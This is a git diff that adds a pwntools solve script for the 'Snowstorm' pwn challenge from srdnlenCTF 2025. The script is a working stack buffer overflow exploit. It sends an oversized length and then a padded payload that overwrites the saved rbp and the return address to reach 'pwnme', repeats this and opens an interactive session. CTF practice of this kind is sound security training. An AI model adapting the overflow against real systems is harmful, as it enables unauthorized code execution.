added training

training/srdnlenctf-2025/pwn_Snowstorm/solve.py

@@ -0,0 +1,38 @@
+#!/usr/bin/env python3
+
+from pwn import ELF, process, gdb, context, args, remote, pause, p64
+from pwnlib.util.cyclic import cyclic_gen
+
+exe = ELF("./snowstorm_patched")
+libc = ELF("./libc.so.6")
+ld = ELF("./ld-2.39.so")
+
+context.binary = exe
+context.terminal = ["kitty", "-e"]
+
+def conn():
+    if args.LOCAL:
+        r = process([exe.path])
+        if args.GDB:
+            gdb.attach(r, gdbscript="""
+            b *0x4015c2
+            c
+        """)
+    else:
+        r = remote("addr", 1337)
+
+    return r
+
+
+def main():
+    r = conn()
+    for _ in range(127):
+        r.recvuntil(b'(max 40): ').decode()
+        r.send(b"0x40")
+        r.recvuntil(b'> ').decode()
+        rbp_val = 0x0
+        r.send(b"A"*48+p64(rbp_val)+p64(exe.symbols['pwnme']) )
+    r.interactive()
+
+if __name__ == "__main__":
+    main()